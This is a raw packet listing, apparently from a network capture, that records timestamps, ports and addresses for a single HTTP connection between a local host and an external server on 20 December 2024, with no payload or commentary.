Dec 20, 2024 21:13:14.424240112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.424891949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.424907923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.424954891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.424954891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.425829887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.425944090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.426079035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.426136017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.426589966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.426662922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.426908970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.426975965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.427504063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.427613020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.428385973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.428401947 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.428478956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.428478956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.428561926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.428687096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.429270983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.429317951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.429606915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.429663897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.430170059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.430219889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.430967093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.430983067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.431142092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.431166887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.431282043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.431962967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.432106972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.432216883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.432324886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.432722092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.432739019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.432882071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.433655024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.433671951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.433767080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.434499025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.434629917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.434670925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.435364008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.435420036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.435504913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.435506105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.436222076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.436274052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.437068939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.437086105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.437133074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.437133074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.437165022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.437207937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.439764977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.439789057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.439805984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.439821005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.439837933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.439867020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.439867020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.439886093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.440150976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.440203905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.440810919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.440829039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.440918922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.441646099 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.441663027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.441709042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.441760063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.442548990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.442655087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.443192959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.443212032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.443255901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.443280935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.443450928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.444118023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.444134951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.444220066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.444220066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.445103884 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.445493937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.445672035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.445759058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.445804119 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.446181059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.446237087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.446759939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.446901083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.446959019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.447696924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.447714090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.447817087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.447817087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.448441029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.449011087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.449064016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.449350119 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.449433088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.449702978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.449754000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.450156927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.450175047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.450326920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.450326920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.451015949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.451726913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.451869011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.451884985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.451910973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.451910973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.451976061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.452719927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.453170061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.453222990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.453629971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.453782082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.453814030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.453866005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.454534054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.454603910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.454888105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.455370903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.455398083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.455425024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.455476999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.456238985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.456449986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.456535101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.457149029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.457294941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.457510948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.457618952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.458026886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.458103895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.458127975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.458172083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.458830118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.458847046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.458916903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.459695101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.459769011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.459801912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.459922075 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.462481976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.462511063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.462526083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.462544918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.462544918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.462544918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.462559938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.462563038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.462584972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.462624073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.463068008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.463141918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.463196993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.609940052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.610018015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.610034943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.610090971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.610094070 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.610109091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.610167027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.610167027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.611004114 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.611238956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.611315966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.611926079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.611999035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.612019062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.612077951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.612838984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.612927914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.613051891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.613111019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.613672018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.613724947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.613893032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.613951921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.614492893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.614537954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.615346909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.615365982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.615432978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.615469933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.615469933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.616174936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.616242886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.616381884 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.616477966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.617058992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.617110968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.617156982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.617196083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.617903948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.617997885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.618319988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.618364096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.618854046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.618906021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.618976116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.619709969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.619786024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.619923115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.620023966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.620625973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.620676994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.620836020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.620934963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.621417046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.621509075 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.621555090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.621598959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.622422934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.622523069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.622833967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.623174906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.623233080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.623398066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.623456001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.624030113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.624073029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.624744892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.624793053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.624989986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.625008106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.625042915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.625042915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.625792027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.625848055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.626415968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.626549006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.626898050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.627059937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.627162933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.627592087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.627609015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.627659082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.627659082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.628402948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.628552914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.628592014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.629211903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.629297972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.629385948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.629458904 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.630108118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.630167961 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.631002903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.631025076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.631079912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.631125927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.631167889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.631866932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.631949902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.631999969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.632174969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.632869005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.632931948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.633006096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.633055925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.633748055 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.633804083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.633936882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.634027958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.634500980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.634517908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.634556055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.634556055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.635390043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.636256933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.636274099 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.636336088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.636336088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.636354923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.637151957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.637167931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.637187958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.637250900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.638030052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.638154984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.638214111 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.638858080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.638874054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.638953924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.639736891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.639827013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.639866114 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.639913082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.640580893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.640703917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.640821934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.640898943 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.641417027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.641484976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.642323017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.642338991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.642374992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.642375946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.642430067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.642497063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.643189907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.643207073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.643255949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.644090891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.644136906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.644443989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.644531965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.644979954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.644995928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.645029068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.645046949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.645795107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.646666050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.646677971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.646694899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.646742105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.646742105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.646774054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.647572041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.647588968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.647623062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.647661924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.648381948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.649267912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.649283886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.649322987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.649363995 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.649389029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.650119066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.650239944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.651029110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.651045084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.651144028 CET	80	49849	31.41.244.11	192.168.2.6
